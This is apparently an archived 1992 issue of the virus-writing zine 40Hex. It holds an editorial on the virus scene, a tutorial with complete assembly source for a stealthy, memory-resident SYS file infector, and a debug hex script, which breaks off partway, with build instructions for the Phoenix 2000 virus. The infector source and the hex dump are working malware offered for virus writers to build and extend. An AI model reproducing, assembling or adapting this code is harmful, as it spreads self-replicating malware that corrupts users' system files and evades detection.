home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / 40HEXX.ZIP / 40HEX009 < prev    next >
Text File  |  1998-01-21  |  189KB  |  4,365 lines

  1. 40Hex Number 9 Volume 2 Issue 5                                       File 000
  2.  
  3.      Welcome to the ninth issue of 40 Hex!  This month brings lots of exciting
  4. and neat-o stuff.  The feature article this month is Dark Angel's tutorial on
  5. SYS infections.  As always, we have more virii news and more disassemblies and
  6. yes, even more debug scripts.  A few quick notes:
  7.  
  8.      - Join PS/Net!  Contact your friendly neighborhood Phalcon/Skism sysop
  9.        for details.
  10.  
  11.      - We have been copied extensively by virtually every virus group in
  12.        existence and, with few exceptions, have not been given credit for
  13.        our work.  It is getting tedious, to say the least, to reread what
  14.        we have already written.  In the future, please don't be quite so
  15.        lame.
  16.  
  17.      - Landfill is down again, but a new board, Liquid Euphoria, run by
  18.        our newest member, Hawkmoon, has taken its place.  The board is
  19.        stable and will not go down without warning, we promise!  Call it,
  20.        love it, hold it as your own.  Special thanks to Hawkmoon for
  21.        editing portions of 40Hex.
  22.  
  23.      - All are invited to contribute to 40Hex, be it in the form of an
  24.        article, original virus, or whatever.  Contact a Phalcon/Skism
  25.        board for details.
  26.  
  27.      - Finally, happy new year to all virus and anti-virus people everywhere!
  28.        The new year promises to bring more nify innovations in both virii and
  29.        viral toolkits from Phalcon/Skism.  Stay tuned.
  30.  
  31.  
  32.                         40Hex-9 Table of contents
  33.                             December 31, 1992
  34.  
  35.                 File                          Description
  36.              40Hex-9.000......................You Are Here!
  37.              40Hex-9.001......................40Hex Editorial
  38.              40Hex-9.002......................SYS Virii
  39.              40Hex-9.003......................Phoenix 2000 Debug Dump
  40.              40Hex-9.004......................More antidebugger techniques
  41.              40Hex-9.005......................Virus Spotlite: 4096
  42.              40Hex-9.006......................Nina disassembly
  43.              40Hex-9.007......................A New Virus Naming Convention
  44.              40Hex-9.008......................Code Optimization
  45.              40Hex-9.009......................FirstStrike's Catfish virus
  46.  
  47.  
  48.      Greets to:  All Phalcon/Skism members, FirstStrike, Apache Warrior,
  49.                  [NuKE], ex-Senior Engineers of Data Plus, and virus writers
  50.                  everywhere!
  51.  
  52.                                 -)Gheap
  53. 40Hex Number 9 Volume 2 Issue 5                                       File 001
  54.  
  55.  
  56.                              40-Hex Editorial:
  57.                        VX:  What the Hell's happened?
  58.                                 by DecimatoR 
  59.  
  60. Please note, the opinions expressed herein are not necessarily those of all
  61. the Phalcon/Skism members, and this article was not intentionally directed
  62. towards one group or individual in particular.  
  63.  
  64.  
  65.     1991:  The virus scene was almost nonexistent.  A handful of virus
  66. boards populated the earth, the biggest being the Virus Exchange in 
  67. Bulgaria.  In the US, only a very few boards had viruses.. and those which 
  68. did ALL had less than 100.  If you had 80 viruses back then, you were God.  
  69. Today, just one year later, if you have less than 800 you're LAME.  Viruses 
  70. are everywhere.  Unfortunately, almost NONE of them are original.  They're 
  71. all hacks of hacks of hacks of hacks, or else all cranked out by MPC or VCL,
  72. the 2 virus generation programs in mass distribution.  No one (save a few) 
  73. writes original code anymore.  The recent flood of lame viruses all prove 
  74. that.  MPC and VCL account for over half of the "new" viruses released each
  75. day - and ALL the viruses generated by those programs are scannable before 
  76. they even get compiled.  So why do people keep using the programs?  Why 
  77. create 30 viruses which all do the same thing, except maybe on a different 
  78. day, or using a different text string?  Why?  I'll tell you why.  Because 
  79. the kids using MPC and VCL are basically talentless programmers who think 
  80. it's cool to stick their name in a program and pass it around.  They believe 
  81. they'll achieve god-like fame in the underground by creating these little 
  82. clones and changing a few bytes.  Are these people cool?  Hardly.  It takes 
  83. true talent to create a virus.  It takes brains and skill to write a virus 
  84. which will work as planned, avoid detection, and propagate itself.  The 
  85. authors of MPC and VCL are very talented programmers.  Unfortunately, the
  86. users of their programs are just the opposite.  REAL virus programmers have 
  87. a desire to LEARN assembler - it's a test of their skill and ability.  The 
  88. users of MPC and VCL don't have that desire.  They only have a desire for
  89. recognition - and seeing their name in a virus is a massive ego trip for 
  90. them.  Why?  They did nothing that any Joe Blow couldn't have done using a 
  91. code generator.  If they REALLY want to prove how cool they are, let THEM 
  92. write a damn virus generation program and release it.  THAT ALONE will show 
  93. the world their skill and ability.  As for USING the program, well, I'm more 
  94. impressed with a nicely formatted term paper using WordPerfect than I am 
  95. with viruses created using MPC and VCL.  If you're one of the lame idiots 
  96. who uses MPC or VCL for "writing" viruses, then listen up - those programs 
  97. were written for 2 reasons - to prove the programmer could write such a 
  98. thing, and to be used as a LEARNING TOOL for future virus writers - NOT to 
  99. be abused the way they currently are.  Stop acting lame and actually CREATE 
  100. an ORIGINAL virus for once, people!  And if you find that's impossible, then 
  101. get the hell out of the scene and let the people who CAN program do it!
  102.  
  103.         Enough on that end.  Now it's time to bitch about the virus boards.  
  104. These so called "elite" boards that have 1,255,443,453.7 viruses online for 
  105. anyone to call up and leech.  These places where the little kiddies put 
  106. thier newest MPC and VCL creation for all the other little kiddies, to show
  107. how /<-RaD they are.  And as soon as one virus is put up, 300 people grab 
  108. it, half of them send it off to other VX boards, and half ship it to the 
  109. Anti-Virus boards.  What's the purpose?  The virus scene has become the same 
  110. as the WAREZ SCENE!  Or, as Garbageheap puts it - Micro-Warez.
  111.  
  112. Micro-WareZ: n.   Viruses created by talentless individuals and passed 
  113.                   around the way pirated software is. 
  114.                   ie: "Hey D00dZ I got the newest MiCroWareZ from that
  115.                        BBS in 404!!!  Now I'm up to 1,231,902!!!#!$@$~!"
  116.  
  117. Micro-Warez Pups: n. (pl) 1) Those individuals actively engaging in the 
  118.                       collection, creation, and distribution of Micro-Warez.
  119.                       2)  People who collect viruses simply because they 
  120.                           want to have more than anyone else.  
  121.                           See also: LAMERS
  122.  
  123. What's the point in these MicroWareZ (also known as VX) boards?  All the 
  124. virus "authors" (I hate using that term - REAL virus authors don't frequent 
  125. microwarez boards) anyway -all the virus authors send up their newest lame
  126. little hacks, and in 15 minutes they're on all VX boards everywhere.  In 20 
  127. minutes, the AV people are looking at them.  In 23 minutes the AV people 
  128. have determined that the new Ware is just a lame little hack, and is already 
  129. scannable by all virus scanners available.  In 23.2 minutes, the AV people 
  130. have deleted the virus, and are back drinking coffee and chatting on the 
  131. COMP.VIRUS Usenet echo, saying things like "Just found another lame little 
  132. hack.  Nothing to worry about guys, not like this is anything new or 
  133. ingenious or something.  My scanner catches it since July of 91."
  134.  
  135.         My point here is - WHAT THE HELL IS THE PURPOSE OF THIS?  AV people 
  136. no longer have to wait for some unlucky infected soul to send them a copy of 
  137. a new virus.  They simply call up the local VX board and download it before 
  138. ANYONE gets infected.  Again I ask you - WHAT IS THE @*#$!%& PURPOSE?  It's 
  139. not cool, it's not elite, its FUKKING STUPID!  Pardon the french.  The 
  140. so-called Virus underground is no longer underground.  It's as open as 
  141. the ANTI-VIRUS scene is.  Anyone can get anything they want, because NO ONE 
  142. cares!  Everyone's got them, and anyone who wants them can find them.  The 
  143. virus scene is no longer elite.  It's lamer then the warez scene is.  And 
  144. it's a shame.  It once required talent and skill.  Now it requires the 
  145. intelligence of a grapefruit...  well... not even that much.
  146.  
  147.         So the question remains - "Gee DecimatoR, if you're so against all 
  148. this virus stuff, then what the hell are you doing in P/S?  Why do you run a 
  149. virus board?"
  150.  
  151.         My answer:  I have a desire to LEARN, and MY board is private.  The 
  152. number was changed, all users deleted, and only those with an interest in 
  153. LEARNING will be allowed on.  Yes, I still have all the damn viruses.  Cause 
  154. when the Gestapo decides it's time to make the creation, distribution, and 
  155. possession of viruses illegal, I wanna be sure people will be able to find 
  156. them somewhere.  I don't cater to microwarez pups, and I'm about as 
  157. interested in the newest VCL creation as I am in the color of your undies.
  158.  
  159. Viruses illegal?  Yes, I'm sure they someday will be.  Unfortunately.  
  160. Because when the Gestapo makes them illegal, it's taking away the rights of 
  161. ALL Americans to freely create and use programs.  And that's the beginning
  162. of the end of Democracy and American Freedom.  Anyway, that's enough bitching
  163. for one day.  If I've pissed you off, good.  You're probably one of the 
  164. lamers I was writing about.  If I haven't, well...  next time then.
  165.  
  166.            Till 40-Hex 10.....
  167.                          
  168.                              >   Peace   <
  169.  
  170.                                       --DecimatoR
  171. 40Hex Number 9 Volume 2 Issue 5                                       File 002
  172.  
  173.                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  174.                    An Introduction to Nonoverwriting Viruses
  175.                             Part III: SYS Infectors
  176.                                  By Dark Angel
  177.                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  178.   
  179.        The SYS  file is the most overlooked executable file structure in DOS.
  180.   Viruses are  quite capable of infecting SYS files, as DOS kindly allows for
  181.   such extensions to this file format.
  182.   
  183.        The SYS  file is loaded beginning at offset 0 of a particular segment.
  184.   It consists  of a  header followed  by code.   SYS  files  may  be  chained
  185.   together after  a simple  modification in  the header.   This is the key to
  186.   infecting SYS files.
  187.   
  188.        There are  two types  of device  drivers; block  and character.  Block
  189.   devices include  floppy, hard,  and virtual disks, i.e. any media which can
  190.   store data.   Character devices include printers, modems, keyboard, and the
  191.   screen.   The virus  will generally  be a  character device,  as it reduces
  192.   complexity.
  193.   
  194.   The header structure is straightforward:
  195.   
  196.   Offset  Size  Description
  197.   ------  ----  -----------
  198.     0h    DWORD Pointer to next header
  199.     4h    WORD  Attribute
  200.     6h    WORD  Pointer to strategy routine
  201.     8h    WORD  Pointer to interrupt routine
  202.    0Ah    QWORD Name of the device driver
  203.   
  204.   The pointer  to the next device driver header appears at offset zero in the
  205.   header.  This is a far pointer consisting of a segment:offset pair.  If the
  206.   current device  is the  only device  appearing in  the SYS  file, then this
  207.   pointer should  be set  to FFFF:FFFF.   However,  if there  are two or more
  208.   device drivers contained in the file, then the offset field should be equal
  209.   to the absolute location of the next device in the file.  The segment field
  210.   should remain  FFFF.   For example,  if a  second device  driver occurs  at
  211.   offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300  The
  212.   second (and all other) device driver must contain a new header as well.
  213.   
  214.   The next  field contains  the attribute  of the  device  driver.    Bit  15
  215.   determines the  nature of  the device  driver.   If bit 15 is set, then the
  216.   device driver  header corresponds  to a  character device;  otherwise,  the
  217.   device is  a block  device.   You need not concern yourself with any of the
  218.   other bits; they may remain cleared.
  219.   
  220.   Before the  next two fields may be understood, it is necessary to introduce
  221.   the concept  of the  request header.   The  request header  contains  DOS's
  222.   requests of the device driver.  For example, DOS may ask for initialisation
  223.   or a  read or  even a  status check.   The information needed by the device
  224.   driver to interpret the request is all contained in the request header.  It
  225.   is passed  to the  strategy routine  by DOS as a far pointer in ES:BX.  The
  226.   job of the strategy routine is to save the pointer for use by the interrupt
  227.   routine.   The interrupt  routine is  called by  DOS immediately  after the
  228.   strategy routine.   This  routine processes  the request  in the header and
  229.   performs the appropriate actions.
  230.   
  231.   The word-length  pointers in  the SYS  header to the strategy and interrupt
  232.   routines are  relative to  the start  of the SYS file.  So, if the strategy
  233.   routine resides  in absolute  offset  32h  in  the  file,  then  the  field
  234.   containing the location of the strategy routine would hold the number 32h.
  235.   
  236.   The name  field in  the SYS header simply holds an 8 byte device name.  For
  237.   example, 'NUL     '  and 'CLOCK$  '  are two  common DOS devices.  The name
  238.   should be justified with space characters (0x20).
  239.   
  240.        By using  DOS's feature  of chaining  SYS files,  we may easily infect
  241.   this type  of file.   No  bytes need to be saved.  There are but two steps.
  242.   The first is to concatenate the virus to the target file.  The second is to
  243.   alter the  first word  of the  SYS file  to point to the virus header.  The
  244.   only trick  involved is  writing the  SYS interrupt routine.  The format of
  245.   the request header is:
  246.   
  247.   Offset  Size  Description
  248.   ------  ----  -----------
  249.     0h    BYTE  Length of request header (in bytes)
  250.     1h    BYTE  Unit code (for block devices)
  251.     2h    BYTE  Command code
  252.     3h    WORD  Status
  253.     5h    QWORD Reserved by DOS
  254.    0Dh    Var.  Data for the operation
  255.   
  256.        Only one  command code  is relevant  for  use  in  the  virus.    Upon
  257.   initialisation of  the device driver, DOS will send a request header with 0
  258.   in the  command code  field.  This is the initialisation check.  The format
  259.   of the variable sized field in the request header in this case is:
  260.   
  261.   Offset  Size  Description
  262.   ------  ----  -----------
  263.    0Dh    BYTE  Number of units (ignored by character devices)
  264.    0Eh    DWORD Ending address of resident program code
  265.    12h    DWORD Pointer to BPB aray (ignored by character devices)
  266.    16h    BYTE  Drive number (irrelevant in character devices)
  267.   
  268.        The only  relevant fields are at offset 3 and 0Eh.  Offset 3 holds the
  269.   status word of the operation.  The virus fills this in with the appropriate
  270.   value.   Generally, the virus should put a value of 100h in the status word
  271.   in the  event of a successful request and a 8103h in the status word in the
  272.   event of  a failure.   The 8103h causes DOS to think that the device driver
  273.   does not  understand the  request.   A value of 8102h should be returned in
  274.   the event  of a  failed installation.   Offset 0Eh will hold the address of
  275.   the end  of the  virus (include  the heap!)  in the  event of  a successful
  276.   installation and CS:0 in the event of a failure.
  277.   
  278.        Basically, the  strategy routine  of the virus should contain a simple
  279.   stub to  save the  es:bx pointer.   The  interrupt routine  should fail all
  280.   requests other  than initialisation.   It should perform an installation if
  281.   the virus  is not  yet installed  and fail  if  it  is  already  in  memory
  282.   (remember to set offset 0eh to cs:0).
  283.   
  284.   A sample  infector with very limited stealth features follows.  While it is
  285.   somewhat large,  it may  be easily  coupled with a simple COM/EXE infection
  286.   routine to  create a  powerful virus.   It  is a  SYS-only, memory resident
  287.   infector.
  288.   
  289.   ---------------------------------------------------------------------------
  290.   .model tiny
  291.   .code
  292.   org 0                           ; SYS files originate at zero
  293.   ; SYS infector
  294.   ; Written by Dark Angel of Phalcon/Skism
  295.   ; for 40Hex
  296.   header:
  297.   
  298.   next_header dd -1               ; FFFF:FFFF
  299.   attribute   dw  8000h           ; character device
  300.   strategy    dw  offset _strategy
  301.   interrupt   dw  offset _interrupt
  302.   namevirus   db  'SYS INF '      ; simple SYS infector
  303.   
  304.   endheader:
  305.   
  306.   author      db  0,'Simple SYS infector',0Dh,0Ah
  307.               db    'Written by Dark Angel of Phalcon/Skism',0
  308.   
  309.   _strategy:  ; save es:bx pointer
  310.           push    si
  311.           call    next_strategy
  312.   next_strategy:
  313.           pop     si
  314.           mov     cs:[si+offset savebx-offset next_strategy],bx
  315.           mov     cs:[si+offset savees-offset next_strategy],es
  316.           pop     si
  317.           retf
  318.   
  319.   _interrupt:  ; install virus in memory
  320.           push    ds                      ; generally, only the segment
  321.           push    es                      ; registers need to be preserved
  322.   
  323.           push    cs
  324.           pop     ds
  325.   
  326.           call    next_interrupt
  327.   next_interrupt:
  328.           pop     bp
  329.           les     bx,cs:[bp+savebx-next_interrupt] ; get request header
  330.   pointer
  331.   
  332.           mov     es:[bx+3],8103h         ; default to fail request
  333.           cmp     byte ptr es:[bx+2], 0   ; check if it is installation
  334.   request
  335.           jnz     exit_interrupt          ; exit if it is not
  336.   
  337.           mov     es:[bx+10h],cs          ; fill in ending address value
  338.           lea     si,[bp+header-next_interrupt]
  339.           mov     es:[bx+0eh],si
  340.           dec     byte ptr es:[bx+3]      ; and assume installation failure
  341.   
  342.           mov     ax, 0b0fh               ; installation check
  343.           int     21h
  344.           cmp     cx, 0b0fh
  345.           jz      exit_interrupt          ; exit if already installed
  346.   
  347.           add     es:[bx+0eh],offset endheap ; fixup ending address
  348.           mov     es:[bx+3],100h          ; and status word
  349.   
  350.           xor     ax,ax
  351.           mov     ds,ax                   ; ds->interrupt table
  352.           les     bx,ds:[21h*4]           ; get old interrupt handler
  353.           mov     word ptr cs:[bp+oldint21-next_interrupt],bx
  354.           mov     word ptr cs:[bp+oldint21+2-next_interrupt],es
  355.   
  356.           lea     si,[bp+int21-next_interrupt]
  357.           cli
  358.           mov     ds:[21h*4],si           ; replace int 21h handler
  359.           mov     ds:[21h*4+2],cs
  360.           sti
  361.   exit_interrupt:
  362.           pop     es
  363.           pop     ds
  364.           retf
  365.   
  366.   int21:
  367.           cmp     ax,0b0fh                ; installation check?
  368.           jnz     notinstall
  369.           xchg    cx,ax                   ; mark already installed
  370.   exitint21:
  371.           iret
  372.   notinstall:
  373.           pushf
  374.           db      9ah                     ; call far ptr  This combined with
  375.   the
  376.   oldint21 dd     ?                       ; pushf simulates an int 21h call
  377.   
  378.           pushf
  379.   
  380.           push    bp
  381.           push    ax
  382.   
  383.           mov     bp, sp                  ; set up new stack frame
  384.                                           ; flags         [bp+10]
  385.                                           ; CS:IP         [bp+6]
  386.                                           ; flags new     [bp+4]
  387.                                           ; bp            [bp+2]
  388.                                           ; ax            [bp]
  389.           mov     ax, [bp+4]              ; get flags
  390.           mov     [bp+10], ax             ; replace old flags with new
  391.   
  392.           pop     ax                      ; restore the stack
  393.           pop     bp
  394.           popf
  395.   
  396.           cmp     ah, 11h                 ; trap FCB find first and
  397.           jz      findfirstnext
  398.           cmp     ah, 12h                 ; FCB find next calls only
  399.           jnz     exitint21
  400.   findfirstnext:
  401.           cmp     al,0ffh                 ; successful findfirst/next?
  402.           jz      exitint21               ; exit if not
  403.   
  404.           push    bp
  405.           call    next_int21
  406.   next_int21:
  407.           pop     bp
  408.           sub     bp, offset next_int21
  409.   
  410.           push    ax                      ; save all registers
  411.           push    bx
  412.           push    cx
  413.           push    dx
  414.           push    ds
  415.           push    es
  416.           push    si
  417.           push    di
  418.   
  419.           mov     ah, 2fh                 ; ES:BX <- DTA
  420.           int     21h
  421.   
  422.           push    es                      ; DS:BX->DTA
  423.           pop     ds
  424.   
  425.           cmp     byte ptr [bx], 0FFh     ; extended FCB?
  426.           jnz     regularFCB              ; continue if not
  427.           add     bx, 7                   ; otherwise, convert to regular FCB
  428.   regularFCB:
  429.           mov     cx, [bx+29]             ; get file size
  430.           mov     word ptr cs:[bp+filesize], cx
  431.   
  432.           push    cs                      ; ES = CS
  433.           pop     es
  434.   
  435.           cld
  436.   
  437.           ; The following code converts the FCB to an ASCIIZ string
  438.           lea     di, [bp+filename]       ; destination buffer
  439.           lea     si, [bx+1]              ; source buffer - filename
  440.   
  441.           cmp     word ptr [si],'OC'      ; do not infect CONFIG.SYS
  442.           jz      bombout
  443.   
  444.           mov     cx, 8                   ; copy up to 8 bytes
  445.   back:   cmp     byte ptr ds:[si], ' '   ; is it a space?
  446.           jz      copy_done               ; if so, done copying
  447.           movsb                           ; otherwise, move character to
  448.   buffer
  449.           loop    back
  450.   
  451.   copy_done:
  452.           mov     al, '.'                 ; copy period
  453.           stosb
  454.   
  455.           mov     ax, 'YS'
  456.           lea     si, [bx+9]              ; source buffer - extension
  457.           cmp     word ptr [si], ax       ; check if it has the SYS
  458.           jnz     bombout                 ; extension and exit if it
  459.           cmp     byte ptr [si+2], al     ; does not
  460.           jnz     bombout
  461.           stosw                           ; copy 'SYS' to the buffer
  462.           stosb
  463.   
  464.           mov     al, 0                  ; copy null byte
  465.           stosb
  466.   
  467.           push    ds
  468.           pop     es                      ; es:bx -> DTA
  469.   
  470.           push    cs
  471.           pop     ds
  472.   
  473.           xchg    di,bx                   ; es:di -> DTA
  474.                                           ; open file, read/only
  475.           call    open                    ; al already 0
  476.           jc      bombout                 ; exit on error
  477.   
  478.           mov     ah, 3fh                 ; read first
  479.           mov     cx, 2                   ; two bytes of
  480.           lea     dx, [bp+buffer]         ; the header
  481.           int     21h
  482.   
  483.           mov     ah, 3eh                 ; close file
  484.           int     21h
  485.   
  486.   InfectSYS:
  487.           inc     word ptr cs:[bp+buffer] ; if first word not FFFF
  488.           jz      continueSYS             ; assume already infected
  489.                                           ; this is a safe bet since
  490.                                           ; most SYS files do not have
  491.                                           ; another SYS file chained on
  492.   
  493.   alreadyinfected:
  494.           sub     es:[di+29], heap - header ; hide file size increase
  495.                                           ; during a DIR command
  496.                                           ; This causes CHKDSK errors
  497.          ;sbb     word ptr es:[di+31], 0  ; not needed because SYS files
  498.                                           ; are limited to 64K maximum
  499.   
  500.   bombout:
  501.           pop     di
  502.           pop     si
  503.           pop     es
  504.           pop     ds
  505.           pop     dx
  506.           pop     cx
  507.           pop     bx
  508.           pop     ax
  509.           pop     bp
  510.           iret
  511.   
  512.   continueSYS:
  513.           push    ds
  514.           pop     es
  515.   
  516.           lea     si, [bp+offset header]
  517.           lea     di, [bp+offset bigbuffer]
  518.           mov     cx, offset endheader - offset header
  519.           rep     movsb
  520.   
  521.           mov     cx, cs:[bp+filesize]
  522.           add     cx, offset _strategy - offset header  ; calculate offset to
  523.           mov     word ptr [bp+bigbuffer+6],cx            ; strategy routine
  524.   
  525.           add     cx, offset _interrupt - offset _strategy;calculate offset to
  526.           mov     word ptr cs:[bp+bigbuffer+8], cx        ; interrupt routine
  527.   
  528.   continueinfection:
  529.           mov     ax, 4300h               ; get file attributes
  530.           lea     dx, [bp+filename]
  531.           int     21h
  532.   
  533.           push    cx                      ; save attributes on stack
  534.           push    dx                      ; save filename on stack
  535.   
  536.           mov     ax, 4301h               ; clear file attributes
  537.           xor     cx, cx
  538.           lea     dx,[bp+filename]
  539.           int     21h
  540.   
  541.           call    openreadwrite
  542.   
  543.           mov     ax, 5700h               ; get file time/date
  544.           int     21h
  545.           push    cx                      ; save them on stack
  546.           push    dx
  547.   
  548.           mov     ah, 40h                 ; write filesize to the old
  549.           mov     cx, 2                   ; SYS header
  550.           lea     dx, [bp+filesize]
  551.           int     21h
  552.   
  553.           mov     ax, 4202h               ; go to end of file
  554.           xor     cx, cx
  555.           cwd                             ; xor dx, dx
  556.           int     21h
  557.   
  558.           mov     ah, 40h                 ; concatenate header
  559.           mov     cx, offset endheader - offset header
  560.           lea     dx, [bp+bigbuffer]
  561.           int     21h
  562.   
  563.           mov     ah, 40h                 ; concatenate virus
  564.           mov     cx, offset heap - offset endheader
  565.           lea     dx, [bp+endheader]
  566.           int     21h
  567.   
  568.           mov     ax, 5701h               ; restore file time/date
  569.           pop     dx
  570.           pop     cx
  571.           int     21h
  572.   
  573.           mov     ah, 3eh                 ; close file
  574.           int     21h
  575.   
  576.           mov     ax, 4301h               ; restore file attributes
  577.           pop     cx
  578.           pop     dx
  579.           int     21h
  580.   
  581.           jmp     bombout
  582.   
  583.   openreadwrite:
  584.           mov     al, 2                   ; open read/write mode
  585.   open:   mov     ah, 3dh
  586.           lea     dx,[bp+filename]
  587.           int     21h
  588.           xchg    ax, bx                  ; put handle in bx
  589.           ret
  590.   
  591.   heap:
  592.   savebx   dw      ?
  593.   savees   dw      ?
  594.   buffer   db      2 dup (?)
  595.   filename db     13 dup (?)
  596.   filesize dw     ?
  597.   bigbuffer db    offset endheader - offset header dup (?)
  598.   endheap:
  599.   
  600.   end header
  601.   ---------------------------------------------------------------------------
  602.   
  603.        The reason the "delta offset" is needed throughout the file is because
  604.   it is  impossible to  know the  exact location  where the  SYS file will be
  605.   loaded into memory.  This can be ameliorated by some file padding and fancy
  606.   mathematical calculations.
  607.   
  608.        The advantages of using SYS files are manyfold.  There is no load high
  609.   routine involved  apart from  the strategy/interrupt  routines.  This saves
  610.   space.   SYS files  also generally  load before  TSR virus  checkers.   TSR
  611.   checkers also  can't detect the residency routine of the virus, since it is
  612.   a normal part of the DOS loading process.  The routine for the infection of
  613.   the SYS  file is ridiculously easy to implement and takes remarkably little
  614.   space, so  there is  no reason  not to  include  SYS  support  in  viruses.
  615.   Finally, the  memory "loss"  reported by  CHKDSK  usually  associated  with
  616.   memory resident viruses is not a problem with SYS files.
  617.   
  618.        A SYS  file infector,  when  combined  with  a  COM  and  EXE  general
  619.   infector, can  lead to  a powerful  virus.   Once the  first  SYS  file  is
  620.   infected, the infected system becomes extremely vulnerable to the virus, as
  621.   there is  little the user can  do to prevent the virus  from running, short
  622.   of a clean boot.
  623. 40Hex Number 9 Volume 2 Issue 5                                       File 003
  624.  
  625.  
  626. Below is the debug script for the Phoenix 2000 virus.  Let's see what Patti
  627. Hoffman's VSUM has to say about it:
  628.  
  629.                                  Phoenix 2000
  630.  
  631.  Virus Name:  Phoenix 2000 
  632.  Aliases:    
  633.  V Status:    Rare
  634.  Discovered:  December, 1991
  635.  Symptoms:    .COM file growth; .EXE files altered; TSR; decrease in total
  636.               system and available free memory
  637.  Origin:      Bulgaria
  638.  Eff Length:  2,000 Bytes
  639.  Type Code:   PRshAK - Parasitic Resident .COM & .EXE Infector
  640.  Detection Method:  ViruScan, AVTK 5.54+, UTScan 22.00+
  641.  Removal Instructions:  Delete infected files
  642.  
  643.  General Comments:
  644.        The Phoenix 2000 virus was received from The Netherlands in December,
  645.        1991, where it was uploaded to several BBSes by a person identifying
  646.        themself as "Dark Avenger".  This virus originated in Bulgaria, and
  647.        is closely related to the earlier V82 virus.  Phoenix 2000 is a
  648.        memory resident infector of .COM and .EXE files, as well as
  649.        COMMAND.COM.
  650.  
  651.        The first time a program infected with Phoenix 2000 is executed, the
  652.        Phoenix 2000 virus will become memory resident at the top of system
  653.        memory but below the 640K DOS boundary.  It will also install a
  654.        small TSR in low system memory of 112 bytes.  The virus at the top
  655.        of system memory is 8,192 bytes in size, this is the amount total
  656.        system memory as indicated by the DOS CHKDSK program will decrease
  657.        by.  The decrease in available free memory will be slightly more.
  658.        The Phoenix 2000 virus hooks interrupt 2A.  Interrupt 12's return
  659.        will not have been moved.
  660.  
  661.        Once Phoenix 2000 is memory resident, it will infect .COM and .EXE
  662.        programs, including COMMAND.COM, when they are opened, executed,
  663.        copied, or accessed in any way.  While it will always infect .COM
  664.        files, .EXE files are only successfully infected if they contain
  665.        2,000 bytes of binary 00 characters in a continuous block.  If the
  666.        2,000 bytes of binary 00 characters do not exist, the file may be
  667.        partially infected, but will not be replicating copy of the virus.
  668.  
  669.        .COM programs, other than COMMAND.COM, will have a file length
  670.        increase of 2,000 bytes with the virus being located in the middle
  671.        or end of the infected file.  Phoenix 2000 is unable to identify
  672.        previous infections of itself on infected .COM files, so they
  673.        may become reinfected by Phoenix 2000, adding an additional 2,000
  674.        bytes to the file for each reinfection.  There will be no change
  675.        to the file's date and time in the DOS disk directory listing.
  676.  
  677.        COMMAND.COM and .EXE files will not have a file length increase when
  678.        they are infected with the Phoenix 2000 virus.  In these two cases,
  679.        the virus will overwrite 2,000 bytes of binary 00 characters within
  680.        the file with the virus code.  For .EXE files with less than 2,000
  681.        bytes of binary 00 characters, the file will be partially infected
  682.        and may not function properly as a result.
  683.  
  684. To create the virus, simply copy the script below to a file called
  685. "Phoenix.lst" and type:
  686.         debug < phoenix.lst > nul
  687.                                                 Dark Angel
  688. -------------------------------------------------------------------------------
  689. n phoenix.com
  690. e 0100  E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54 
  691. e 0110  1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7 
  692. e 0120  87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E 
  693. e 0130  C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF 
  694. e 0140  02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3 
  695. e 0150  AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8 
  696. e 0160  8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA 
  697. e 0170  FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0 
  698. e 0180  33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01 
  699. e 0190  AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48 
  700. e 01A0  AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80 
  701. e 01B0  FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81 
  702. e 01C0  C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77 
  703. e 01D0  74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6 
  704. e 01E0  60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01 
  705. e 01F0  00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95 
  706. e 0200  E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80 
  707. e 0210  00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4 
  708. e 0220  A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96 
  709. e 0230  8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD 
  710. e 0240  21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00 
  711. e 0250  00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56 
  712. e 0260  8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2 
  713. e 0270  F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0 
  714. e 0280  80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3 
  715. e 0290  2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43 
  716. e 02A0  3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE 
  717. e 02B0  B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03 
  718. e 02C0  1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F 
  719. e 02D0  72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06 
  720. e 02E0  1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0 
  721. e 02F0  87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80 
  722. e 0300  FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89 
  723. e 0310  16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13 
  724. e 0320  3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45 
